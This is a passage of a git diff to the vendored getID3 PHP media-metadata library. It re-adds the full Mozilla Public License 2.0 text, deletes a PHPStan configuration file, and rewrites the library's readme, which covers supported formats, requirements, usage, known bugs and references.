accurate notices of copyright ownership. - -Exhibit B - "Incompatible With Secondary Licenses" Notice ---------------------------------------------------------- - - This Source Code Form is "Incompatible With Secondary Licenses", as - defined by the Mozilla Public License, v. 2.0. +Mozilla Public License Version 2.0 +================================== + +1. Definitions +-------------- + +1.1. "Contributor" + means each individual or legal entity that creates, contributes to + the creation of, or owns Covered Software. + +1.2. "Contributor Version" + means the combination of the Contributions of others (if any) used + by a Contributor and that particular Contributor's Contribution. + +1.3. "Contribution" + means Covered Software of a particular Contributor. + +1.4. "Covered Software" + means Source Code Form to which the initial Contributor has attached + the notice in Exhibit A, the Executable Form of such Source Code + Form, and Modifications of such Source Code Form, in each case + including portions thereof. + +1.5. "Incompatible With Secondary Licenses" + means + + (a) that the initial Contributor has attached the notice described + in Exhibit B to the Covered Software; or + + (b) that the Covered Software was made available under the terms of + version 1.1 or earlier of the License, but not also under the + terms of a Secondary License. + +1.6. "Executable Form" + means any form of the work other than Source Code Form. + +1.7. "Larger Work" + means a work that combines Covered Software with other material, in + a separate file or files, that is not Covered Software. + +1.8. "License" + means this document. + +1.9. "Licensable" + means having the right to grant, to the maximum extent possible, + whether at the time of the initial grant or subsequently, any and + all of the rights conveyed by this License. + +1.10. "Modifications" + means any of the following: + + (a) any file in Source Code Form that results from an addition to, + deletion from, or modification of the contents of Covered + Software; or + + (b) any new file in Source Code Form that contains any Covered + Software. + +1.11. "Patent Claims" of a Contributor + means any patent claim(s), including without limitation, method, + process, and apparatus claims, in any patent Licensable by such + Contributor that would be infringed, but for the grant of the + License, by the making, using, selling, offering for sale, having + made, import, or transfer of either its Contributions or its + Contributor Version. + +1.12. "Secondary License" + means either the GNU General Public License, Version 2.0, the GNU + Lesser General Public License, Version 2.1, the GNU Affero General + Public License, Version 3.0, or any later versions of those + licenses. + +1.13. "Source Code Form" + means the form of the work preferred for making modifications. + +1.14. "You" (or "Your") + means an individual or a legal entity exercising rights under this + License. For legal entities, "You" includes any entity that + controls, is controlled by, or is under common control with You. For + purposes of this definition, "control" means (a) the power, direct + or indirect, to cause the direction or management of such entity, + whether by contract or otherwise, or (b) ownership of more than + fifty percent (50%) of the outstanding shares or beneficial + ownership of such entity. + +2. License Grants and Conditions +-------------------------------- + +2.1. Grants + +Each Contributor hereby grants You a world-wide, royalty-free, +non-exclusive license: + +(a) under intellectual property rights (other than patent or trademark) + Licensable by such Contributor to use, reproduce, make available, + modify, display, perform, distribute, and otherwise exploit its + Contributions, either on an unmodified basis, with Modifications, or + as part of a Larger Work; and + +(b) under Patent Claims of such Contributor to make, use, sell, offer + for sale, have made, import, and otherwise transfer either its + Contributions or its Contributor Version. + +2.2. Effective Date + +The licenses granted in Section 2.1 with respect to any Contribution +become effective for each Contribution on the date the Contributor first +distributes such Contribution. + +2.3. Limitations on Grant Scope + +The licenses granted in this Section 2 are the only rights granted under +this License. No additional rights or licenses will be implied from the +distribution or licensing of Covered Software under this License. +Notwithstanding Section 2.1(b) above, no patent license is granted by a +Contributor: + +(a) for any code that a Contributor has removed from Covered Software; + or + +(b) for infringements caused by: (i) Your and any other third party's + modifications of Covered Software, or (ii) the combination of its + Contributions with other software (except as part of its Contributor + Version); or + +(c) under Patent Claims infringed by Covered Software in the absence of + its Contributions. + +This License does not grant any rights in the trademarks, service marks, +or logos of any Contributor (except as may be necessary to comply with +the notice requirements in Section 3.4). + +2.4. Subsequent Licenses + +No Contributor makes additional grants as a result of Your choice to +distribute the Covered Software under a subsequent version of this +License (see Section 10.2) or under the terms of a Secondary License (if +permitted under the terms of Section 3.3). + +2.5. Representation + +Each Contributor represents that the Contributor believes its +Contributions are its original creation(s) or it has sufficient rights +to grant the rights to its Contributions conveyed by this License. + +2.6. Fair Use + +This License is not intended to limit any rights You have under +applicable copyright doctrines of fair use, fair dealing, or other +equivalents. + +2.7. Conditions + +Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted +in Section 2.1. + +3. Responsibilities +------------------- + +3.1. Distribution of Source Form + +All distribution of Covered Software in Source Code Form, including any +Modifications that You create or to which You contribute, must be under +the terms of this License. You must inform recipients that the Source +Code Form of the Covered Software is governed by the terms of this +License, and how they can obtain a copy of this License. You may not +attempt to alter or restrict the recipients' rights in the Source Code +Form. + +3.2. Distribution of Executable Form + +If You distribute Covered Software in Executable Form then: + +(a) such Covered Software must also be made available in Source Code + Form, as described in Section 3.1, and You must inform recipients of + the Executable Form how they can obtain a copy of such Source Code + Form by reasonable means in a timely manner, at a charge no more + than the cost of distribution to the recipient; and + +(b) You may distribute such Executable Form under the terms of this + License, or sublicense it under different terms, provided that the + license for the Executable Form does not attempt to limit or alter + the recipients' rights in the Source Code Form under this License. + +3.3. Distribution of a Larger Work + +You may create and distribute a Larger Work under terms of Your choice, +provided that You also comply with the requirements of this License for +the Covered Software. If the Larger Work is a combination of Covered +Software with a work governed by one or more Secondary Licenses, and the +Covered Software is not Incompatible With Secondary Licenses, this +License permits You to additionally distribute such Covered Software +under the terms of such Secondary License(s), so that the recipient of +the Larger Work may, at their option, further distribute the Covered +Software under the terms of either this License or such Secondary +License(s). + +3.4. Notices + +You may not remove or alter the substance of any license notices +(including copyright notices, patent notices, disclaimers of warranty, +or limitations of liability) contained within the Source Code Form of +the Covered Software, except that You may alter any license notices to +the extent required to remedy known factual inaccuracies. + +3.5. Application of Additional Terms + +You may choose to offer, and to charge a fee for, warranty, support, +indemnity or liability obligations to one or more recipients of Covered +Software. However, You may do so only on Your own behalf, and not on +behalf of any Contributor. You must make it absolutely clear that any +such warranty, support, indemnity, or liability obligation is offered by +You alone, and You hereby agree to indemnify every Contributor for any +liability incurred by such Contributor as a result of warranty, support, +indemnity or liability terms You offer. You may include additional +disclaimers of warranty and limitations of liability specific to any +jurisdiction. + +4. Inability to Comply Due to Statute or Regulation +--------------------------------------------------- + +If it is impossible for You to comply with any of the terms of this +License with respect to some or all of the Covered Software due to +statute, judicial order, or regulation then You must: (a) comply with +the terms of this License to the maximum extent possible; and (b) +describe the limitations and the code they affect. Such description must +be placed in a text file included with all distributions of the Covered +Software under this License. Except to the extent prohibited by statute +or regulation, such description must be sufficiently detailed for a +recipient of ordinary skill to be able to understand it. + +5. Termination +-------------- + +5.1. The rights granted under this License will terminate automatically +if You fail to comply with any of its terms. However, if You become +compliant, then the rights granted under this License from a particular +Contributor are reinstated (a) provisionally, unless and until such +Contributor explicitly and finally terminates Your grants, and (b) on an +ongoing basis, if such Contributor fails to notify You of the +non-compliance by some reasonable means prior to 60 days after You have +come back into compliance. Moreover, Your grants from a particular +Contributor are reinstated on an ongoing basis if such Contributor +notifies You of the non-compliance by some reasonable means, this is the +first time You have received notice of non-compliance with this License +from such Contributor, and You become compliant prior to 30 days after +Your receipt of the notice. + +5.2. If You initiate litigation against any entity by asserting a patent +infringement claim (excluding declaratory judgment actions, +counter-claims, and cross-claims) alleging that a Contributor Version +directly or indirectly infringes any patent, then the rights granted to +You by any and all Contributors for the Covered Software under Section +2.1 of this License shall terminate. + +5.3. In the event of termination under Sections 5.1 or 5.2 above, all +end user license agreements (excluding distributors and resellers) which +have been validly granted by You or Your distributors under this License +prior to termination shall survive termination. + +************************************************************************ +* * +* 6. Disclaimer of Warranty * +* ------------------------- * +* * +* Covered Software is provided under this License on an "as is" * +* basis, without warranty of any kind, either expressed, implied, or * +* statutory, including, without limitation, warranties that the * +* Covered Software is free of defects, merchantable, fit for a * +* particular purpose or non-infringing. The entire risk as to the * +* quality and performance of the Covered Software is with You. * +* Should any Covered Software prove defective in any respect, You * +* (not any Contributor) assume the cost of any necessary servicing, * +* repair, or correction. This disclaimer of warranty constitutes an * +* essential part of this License. No use of any Covered Software is * +* authorized under this License except under this disclaimer. * +* * +************************************************************************ + +************************************************************************ +* * +* 7. Limitation of Liability * +* -------------------------- * +* * +* Under no circumstances and under no legal theory, whether tort * +* (including negligence), contract, or otherwise, shall any * +* Contributor, or anyone who distributes Covered Software as * +* permitted above, be liable to You for any direct, indirect, * +* special, incidental, or consequential damages of any character * +* including, without limitation, damages for lost profits, loss of * +* goodwill, work stoppage, computer failure or malfunction, or any * +* and all other commercial damages or losses, even if such party * +* shall have been informed of the possibility of such damages. This * +* limitation of liability shall not apply to liability for death or * +* personal injury resulting from such party's negligence to the * +* extent applicable law prohibits such limitation. Some * +* jurisdictions do not allow the exclusion or limitation of * +* incidental or consequential damages, so this exclusion and * +* limitation may not apply to You. * +* * +************************************************************************ + +8. Litigation +------------- + +Any litigation relating to this License may be brought only in the +courts of a jurisdiction where the defendant maintains its principal +place of business and such litigation shall be governed by laws of that +jurisdiction, without reference to its conflict-of-law provisions. +Nothing in this Section shall prevent a party's ability to bring +cross-claims or counter-claims. + +9. Miscellaneous +---------------- + +This License represents the complete agreement concerning the subject +matter hereof. If any provision of this License is held to be +unenforceable, such provision shall be reformed only to the extent +necessary to make it enforceable. Any law or regulation which provides +that the language of a contract shall be construed against the drafter +shall not be used to construe this License against a Contributor. + +10. Versions of the License +--------------------------- + +10.1. New Versions + +Mozilla Foundation is the license steward. Except as provided in Section +10.3, no one other than the license steward has the right to modify or +publish new versions of this License. Each version will be given a +distinguishing version number. + +10.2. Effect of New Versions + +You may distribute the Covered Software under the terms of the version +of the License under which You originally received the Covered Software, +or under the terms of any subsequent version published by the license +steward. + +10.3. Modified Versions + +If you create software not governed by this License, and you want to +create a new license for such software, you may create and use a +modified version of this License if you rename the license and remove +any references to the name of the license steward (except to note that +such modified license differs from this License). + +10.4. Distributing Source Code Form that is Incompatible With Secondary +Licenses + +If You choose to distribute Source Code Form that is Incompatible With +Secondary Licenses under the terms of this version of the License, the +notice described in Exhibit B of this License must be attached. + +Exhibit A - Source Code Form License Notice +------------------------------------------- + + This Source Code Form is subject to the terms of the Mozilla Public + License, v. 2.0. If a copy of the MPL was not distributed with this + file, You can obtain one at http://mozilla.org/MPL/2.0/. + +If it is not possible or desirable to put the notice in a particular +file, then You may include the notice in a location (such as a LICENSE +file in a relevant directory) where a recipient would be likely to look +for such a notice. + +You may add additional accurate notices of copyright ownership. + +Exhibit B - "Incompatible With Secondary Licenses" Notice +--------------------------------------------------------- + + This Source Code Form is "Incompatible With Secondary Licenses", as + defined by the Mozilla Public License, v. 2.0. diff --git a/vendor/james-heinrich/getid3/phpstan.neon b/vendor/james-heinrich/getid3/phpstan.neon deleted file mode 100644 index 7ae8cda418..0000000000 --- a/vendor/james-heinrich/getid3/phpstan.neon +++ /dev/null @@ -1,21 +0,0 @@ -parameters: - excludes_analyse: - polluteScopeWithLoopInitialAssignments: true - dynamicConstantNames: - - GETID3_OS_ISWINDOWS - ignoreErrors: - - '#Call to an undefined method COM::GetFile\(\)\.#' - - '#Constant GETID3_HELPERAPPSDIR not found#' - - '#Constant GETID3_ASF_(\w+) not found#' - - - message: '#Function mysql_\w+ not found\.#' - path: getid3/extension.cache.mysql.php - - - message: '#Function rar_\w+ not found\.#' - path: getid3/module.archive.rar.php - - - message: '#Unreachable statement - code above always terminates#' - path: getid3/module.archive.szip.php - - - message: '#Unreachable statement - code above always terminates#' - path: getid3/module.audio.aa.php \ No newline at end of file diff --git a/vendor/james-heinrich/getid3/readme.txt b/vendor/james-heinrich/getid3/readme.txt index f5b3a6e8b4..0888bc4de2 100644 --- a/vendor/james-heinrich/getid3/readme.txt +++ b/vendor/james-heinrich/getid3/readme.txt @@ -1,628 +1,628 @@ -///////////////////////////////////////////////////////////////// -/// getID3() by James Heinrich // -// available at http://getid3.sourceforge.net // -// or https://www.getid3.org // -// also https://github.com/JamesHeinrich/getID3 // -///////////////////////////////////////////////////////////////// - -***************************************************************** -***************************************************************** - - getID3() is released under multiple licenses. You may choose - from the following licenses, and use getID3 according to the - terms of the license most suitable to your project. - -GNU GPL: https://gnu.org/licenses/gpl.html (v3) - https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) - https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) - -GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) - -Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) - -getID3 Commercial License: https://www.getid3.org/#gCL (payment required) - -***************************************************************** -***************************************************************** -Copies of each of the above licenses are included in the 'licenses' -directory of the getID3 distribution. - - - +----------------------------------------------+ - | If you want to donate, there is a link on | - | https://www.getid3.org for PayPal donations. | - +----------------------------------------------+ - - -Quick Start -=========================================================================== - -Q: How can I check that getID3() works on my server/files? -A: Unzip getID3() to a directory, then access /demos/demo.browse.php - - - -Support -=========================================================================== - -Q: I have a question, or I found a bug. What do I do? -A: The preferred method of support requests and/or bug reports is the - forum at http://support.getid3.org/ - - - -Sourceforge Notification -=========================================================================== - -It's highly recommended that you sign up for notification from -Sourceforge for when new versions are released. Please visit: -http://sourceforge.net/project/showfiles.php?group_id=55859 -and click the little "monitor package" icon/link. If you're -previously signed up for the mailing list, be aware that it has -been discontinued, only the automated Sourceforge notification -will be used from now on. - - - -What does getID3() do? -=========================================================================== - -Reads & parses (to varying degrees): - ¤ tags: - * APE (v1 and v2) - * ID3v1 (& ID3v1.1) - * ID3v2 (v2.4, v2.3, v2.2) - * Lyrics3 (v1 & v2) - - ¤ audio-lossy: - * MP3/MP2/MP1 - * MPC / Musepack - * Ogg (Vorbis, OggFLAC, Speex, Opus) - * AAC / MP4 - * AC3 - * DTS - * RealAudio - * Speex - * DSS - * VQF - - ¤ audio-lossless: - * AIFF - * AU - * Bonk - * CD-audio (*.cda) - * FLAC - * LA (Lossless Audio) - * LiteWave - * LPAC - * MIDI - * Monkey's Audio - * OptimFROG - * RKAU - * Shorten - * TTA - * VOC - * WAV (RIFF) - * WavPack - - ¤ audio-video: - * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV) - * AVI (RIFF) - * Flash - * Matroska (MKV) - * MPEG-1 / MPEG-2 - * NSV (Nullsoft Streaming Video) - * Quicktime (including MP4) - * RealVideo - - ¤ still image: - * BMP - * GIF - * JPEG - * PNG - * TIFF - * SWF (Flash) - * PhotoCD - - ¤ data: - * ISO-9660 CD-ROM image (directory structure) - * SZIP (limited support) - * ZIP (directory structure) - * TAR - * CUE - - -Writes: - * ID3v1 (& ID3v1.1) - * ID3v2 (v2.3 & v2.4) - * VorbisComment on OggVorbis - * VorbisComment on FLAC (not OggFLAC) - * APE v2 - * Lyrics3 (delete only) - - - -Requirements -=========================================================================== - -* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier) -* PHP 5.0.5 (or higher) for getID3() 1.8.x (and up) -* PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up) -* PHP 5.3.0 (or higher) for getID3() 2.0.x (and up) -* at least 4MB memory for PHP. 8MB or more is highly recommended. - 12MB is required with all modules loaded. - - - -Usage -=========================================================================== - -See /demos/demo.basic.php for a very basic use of getID3() with no -fancy output, just scanning one file. - -See structure.txt for the returned data structure. - -*> For an example of a complete directory-browsing, <* -*> file-scanning implementation of getID3(), please run <* -*> /demos/demo.browse.php <* - -See /demos/demo.mysql.php for a sample recursive scanning code that -scans every file in a given directory, and all sub-directories, stores -the results in a database and allows various analysis / maintenance -operations - -To analyze remote files over HTTP or FTP you need to copy the file -locally first before running getID3(). Your code would look something -like this: - -// Copy remote file locally to scan with getID3() -$remotefilename = 'http://www.example.com/filename.mp3'; -if ($fp_remote = fopen($remotefilename, 'rb')) { - $localtempfilename = tempnam('/tmp', 'getID3'); - if ($fp_local = fopen($localtempfilename, 'wb')) { - while ($buffer = fread($fp_remote, 32768)) { - fwrite($fp_local, $buffer); - } - fclose($fp_local); - - $remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER); - $remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null); - - // Initialize getID3 engine - $getID3 = new getID3; - - $ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename)); - - // Delete temporary file - unlink($localtempfilename); - } - fclose($fp_remote); -} - -Note: since v1.9.9-20150212 it is possible a second and third parameter -to $getID3->analyze(), for original filesize and original filename -respectively. This permits you to download only a portion of a large remote -file but get accurate playtime estimates, assuming the format only requires -the beginning of the file for correct format analysis. - -See /demos/demo.write.php for how to write tags. - - - -What does the returned data structure look like? -=========================================================================== - -See structure.txt - -It is recommended that you look at the output of -/demos/demo.browse.php scanning the file(s) you're interested in to -confirm what data is actually returned for any particular filetype in -general, and your files in particular, as the actual data returned -may vary considerably depending on what information is available in -the file itself. - - - -Notes -=========================================================================== - -getID3() 1.x: -If the format parser encounters a critical problem, it will return -something in $fileinfo['error'], describing the encountered error. If -a less critical error or notice is generated it will appear in -$fileinfo['warning']. Both keys may contain more than one warning or -error. If something is returned in ['error'] then the file was not -correctly parsed and returned data may or may not be correct and/or -complete. If something is returned in ['warning'] (and not ['error']) -then the data that is returned is OK - usually getID3() is reporting -errors in the file that have been worked around due to known bugs in -other programs. Some warnings may indicate that the data that is -returned is OK but that some data could not be extracted due to -errors in the file. - -getID3() 2.x: -See above except errors are thrown (so you will only get one error). - - - -Disclaimer -=========================================================================== - -getID3() has been tested on many systems, on many types of files, -under many operating systems, and is generally believe to be stable -and safe. That being said, there is still the chance there is an -undiscovered and/or unfixed bug that may potentially corrupt your -file, especially within the writing functions. By using getID3() you -agree that it's not my fault if any of your files are corrupted. -In fact, I'm not liable for anything :) - - - -License -=========================================================================== - -GNU General Public License - see license.txt - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -as published by the Free Software Foundation; either version 2 -of the License, or (at your option) any later version. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to: -Free Software Foundation, Inc. -59 Temple Place - Suite 330 -Boston, MA 02111-1307, USA. - -FAQ: -Q: Can I use getID3() in my program? Do I need a commercial license? -A: You're generally free to use getID3 however you see fit. The only - case in which you would require a commercial license is if you're - selling your closed-source program that integrates getID3. If you - sell your program including a copy of getID3, that's fine as long - as you include a copy of the sourcecode when you sell it. Or you - can distribute your code without getID3 and say "download it from - getid3.sourceforge.net" - - - -Why is it called "getID3()" if it does so much more than just that? -=========================================================================== - -v0.1 did in fact just do that. I don't have a copy of code that old, but I -could essentially write it today with a one-line function: - function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); } - - -Future Plans -=========================================================================== -https://www.getid3.org/phpBB3/viewforum.php?f=7 - -* Better support for MP4 container format -* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0) -* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm) -* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669) -* Support for ACE (thanks Vince) -* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid) -* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header -* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding) -* Warn if MP3s change version mid-stream (in full-scan mode) -* check for corrupt/broken mid-file MP3 streams in histogram scan -* Support for lossless-compression formats - (http://www.firstpr.com.au/audiocomp/lossless/#Links) - (http://compression.ca/act-sound.html) - (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm) -* Support for RIFF-INFO chunks - * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html - (thanks Nick Humfrey ) - * http://abcavi.narod.ru/sof/abcavi/infotags.htm - (thanks Kibi) -* Better support for Bink video -* http://www.hr/josip/DSP/AudioFile2.html -* http://www.pcisys.net/~melanson/codecs/ -* Detect mp3PRO -* Support for PSD -* Support for JPC -* Support for JP2 -* Support for JPX -* Support for JB2 -* Support for IFF -* Support for ICO -* Support for ANI -* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl) -* Support for DVD-IFO (region, subtitles, aspect ratio, etc) - (thanks p*quaedackersØplanet*nl) -* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content - (thanks n8n8Øyahoo*com) -* Support for a2b -* Optional scan-through-frames for AVI verification - (thanks rockcohenØmassive-interactive*nl) -* Support for TTF (thanks infoØbutterflyx*com) -* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171) -* Support for SMAF (http://smaf-yamaha.com/what/demo.html) - https://www.getid3.org/phpBB3/viewtopic.php?t=182 -* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195) -* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195) -* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com) -* Parse XML data returned in Ogg comments -* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com) -* ID3v2 genre string creator function -* More complete parsing of JPG -* Support for all old-style ASF packets -* ASF/WMA/WMV tag writing -* Parse declared T??? ID3v2 text information frames, where appropriate - (thanks Christian Fritz for the idea) -* Recognize encoder: - http://www.guerillasoft.com/EncSpot2/index.html - http://ff123.net/identify.html - http://www.hydrogenaudio.org/?act=ST&f=16&t=9414 - http://www.hydrogenaudio.org/?showtopic=11785 -* Support for other OS/2 bitmap structures: Bitmap Array('BA'), - Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT') - http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm -* Support for WavPack RAW mode -* ASF/WMA/WMV data packet parsing -* ID3v2FrameFlagsLookupTagAlter() -* ID3v2FrameFlagsLookupFileAlter() -* obey ID3v2 tag alter/preserve/discard rules -* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm -* proper checking for LINK/LNK frame validity in ID3v2 writing -* proper checking for ASPI-TLEN frame validity in ID3v2 writing -* proper checking for COMR frame validity in ID3v2 writing -* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html -* decode GEOB ID3v2 structure as encoded by RealJukebox, - decode NCON ID3v2 structure as encoded by MusicMatch - (probably won't happen - the formats are proprietary) - - - -Known Bugs/Issues in getID3() that may be fixed eventually -=========================================================================== -https://www.getid3.org/phpBB3/viewtopic.php?t=25 - -* Cannot determine bitrate for MPEG video with VBR video data - (need documentation) -* Interlace/progressive cannot be determined for MPEG video - (need documentation) -* MIDI playtime is sometimes inaccurate -* AAC-RAW mode files cannot be identified -* WavPack-RAW mode files cannot be identified -* mp4 files report lots of "Unknown QuickTime atom type" - (need documentation) -* Encrypted ASF/WMA/WMV files warn about "unhandled GUID - ASF_Content_Encryption_Object" -* Bitrate split between audio and video cannot be calculated for - NSV, only the total bitrate. (need documentation) -* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the - problem of large VorbisComments spanning multiple Ogg pages, but - but only OggVorbis files can be processed with vorbiscomment. -* The version of "head" supplied with Mac OS 10.2.8 (maybe other - versions too) does only understands a single option (-n) and - therefore fails. getID3 ignores this and returns wrong md5_data. - - - -Known Bugs/Issues in getID3() that cannot be fixed --------------------------------------------------- -https://www.getid3.org/phpBB3/viewtopic.php?t=25 - -* 32-bit PHP installations only: - Files larger than 2GB cannot always be parsed fully by getID3() - due to limitations in the 32-bit PHP filesystem functions. - NOTE: Since v1.7.8b3 there is partial support for larger-than- - 2GB files, most of which will parse OK, as long as no critical - data is located beyond the 2GB offset. - Known will-work: - * all file formats on 64-bit PHP - * ZIP (format doesn't support files >2GB) - * FLAC (current encoders don't support files >2GB) - Known will-not-work: - * ID3v1 tags (always located at end-of-file) - * Lyrics3 tags (always located at end-of-file) - * APE tags (always located at end-of-file) - Maybe-will-work: - * Quicktime (will work if needed metadata is before 2GB offset, - that is if the file has been hinted/optimized for streaming) - * RIFF.WAV (should work fine, but gives warnings about not being - able to parse all chunks) - * RIFF.AVI (playtime will probably be wrong, is only based on - "movi" chunk that fits in the first 2GB, should issue error - to show that playtime is incorrect. Other data should be mostly - correct, assuming that data is constant throughout the file) -* PHP <= v5 on Windows cannot read UTF-8 filenames - - -Known Bugs/Issues in other programs ------------------------------------ -https://www.getid3.org/phpBB3/viewtopic.php?t=25 - -* MusicBrainz Picard (at least up to v1.3.2) writes multiple - ID3v2.3 genres in non-standard forward-slash separated text - rather than parenthesis-numeric+refinement style per the ID3v2.3 - specs. Tags written in ID3v2.4 mode are written correctly. - (detected and worked around by getID3()) -* PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames - into an existing ID3v2.2 tag which, of course, breaks things -* Windows Media Player (up to v11) and iTunes (up to v10+) do - not correctly handle ID3v2.3 tags with UTF-16BE+BOM - encoding (they assume the data is UTF-16LE+BOM and either - crash (WMP) or output Asian character set (iTunes) -* Winamp (up to v2.80 at least) does not support ID3v2.4 tags, - only ID3v2.3 - see: http://forums.winamp.com/showthread.php?postid=387524 -* Some versions of Helium2 (www.helium2.com) do not write - ID3v2.4-compliant Frame Sizes, even though the tag is marked - as ID3v2.4) (detected by getID3()) -* MP3ext V3.3.17 places a non-compliant padding string at the end - of the ID3v2 header. This is supposedly fixed in v3.4b21 but - only if you manually add a registry key. This fix is not yet - confirmed. (detected by getID3()) -* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment - strings, supposed to be in the format "NAME=value" but actually - written just "value" (detected by getID3()) -* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's - actually ABR or VBR. -* iTunes (versions "v7.0.0.70" is known-guilty, probably - other versions are too) writes ID3v2.3 comment tags using an - ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is - not valid for ID3v2.3+ - (detected by getID3() since 1.9.12-201603221746) -* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably - other versions are too) writes ID3v2.3 comment tags using a - frame name 'COM ' which is not valid for ID3v2.3+ (it's an - ID3v2.2-style frame name) (detected by getID3()) -* MP2enc does not encode mono CBR MP2 files properly (half speed - sound and double playtime) -* MP2enc does not encode mono VBR MP2 files properly (actually - encoded as stereo) -* tooLAME does not encode mono VBR MP2 files properly (actually - encoded as stereo) -* AACenc encodes files in VBR mode (actually ABR) even if CBR is - specified -* AAC/ADIF - bitrate_mode = cbr for vbr files -* LAME 3.90-3.92 prepends one frame of null data (space for the - LAME/VBR header, but it never gets written) when encoding in CBR - mode with the DLL -* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed - to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for - TwinVQF v2.0 (detected by getID3()) -* Ahead Nero encodes TwinVQF files 1 second shorter than they - should be -* AAC-ADTS files are always actually encoded VBR, even if CBR mode - is specified (the CBR-mode switches on the encoder enable ABR - mode, not CBR as such, but it's not possible to tell the - difference between such ABR files and true VBR) -* STREAMINFO.audio_signature in OggFLAC is always null. "The reason - it's like that is because there is no seeking support in - libOggFLAC yet, so it has no way to go back and write the - computed sum after encoding. Seeking support in Ogg FLAC is the - #1 item for the next release." - Josh Coalson (FLAC developer) - NOTE: getID3() will calculate md5_data in a method similar to - other file formats, but that value cannot be compared to the - md5_data value from FLAC data in a FLAC file format. -* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 & - v0.4.0 - getID3() will calculate md5_data in a method similar to - other file formats, but that value cannot be compared to the - md5_data value from FLAC v0.5.0+ -* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with - a WCOM frame that has no data portion -* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis - files, thus making them corrupt. -* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the - last byte of data from an MP3 file when appending a new ID3v1 tag. - (detected by getID3()) -* Lossless-Audio files encoded with and without the -noseek switch - do actually differ internally and therefore cannot match md5_data -* iTunes has been known to append a new ID3v1 tag on the end of an - existing ID3v1 tag when ID3v2 tag is also present - (detected by getID3()) -* MediaMonkey may write a blank RGAD ID3v2 frame but put actual - replay gain adjustments in a series of user-defined TXXX frames - (detected and handled by getID3() since v1.9.2) - - - - -Reference material: -=========================================================================== - -[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/] -* http://www.id3.org/id3v2.4.0-structure.txt -* http://www.id3.org/id3v2.4.0-frames.txt -* http://www.id3.org/id3v2.4.0-changes.txt -* http://www.id3.org/id3v2.3.0.txt -* http://www.id3.org/id3v2-00.txt -* http://www.id3.org/mp3frame.html -* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html -* http://www.dv.co.yu/mpgscript/mpeghdr.htm -* http://www.mp3-tech.org/programmer/frame_header.html -* http://users.belgacom.net/gc247244/extra/tag.html -* http://gabriel.mp3-tech.org/mp3infotag.html -* http://www.id3.org/iso4217.html -* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT -* http://www.xiph.org/ogg/vorbis/doc/framing.html -* http://www.xiph.org/ogg/vorbis/doc/v-comment.html -* http://leknor.com/code/php/class.ogg.php.txt -* http://www.id3.org/iso639-2.html -* http://www.id3.org/lyrics3.html -* http://www.id3.org/lyrics3200.html -* http://www.psc.edu/general/software/packages/ieee/ieee.html -* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html -* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html -* http://www.jmcgowan.com/avi.html -* http://www.wotsit.org/ -* http://www.herdsoft.com/ti/davincie/davp3xo2.htm -* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html -* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org) -* http://midistudio.com/Help/GMSpecs_Patches.htm -* http://www.xiph.org/archives/vorbis/200109/0459.html -* http://www.replaygain.org/ -* http://www.lossless-audio.com/ -* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe -* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf 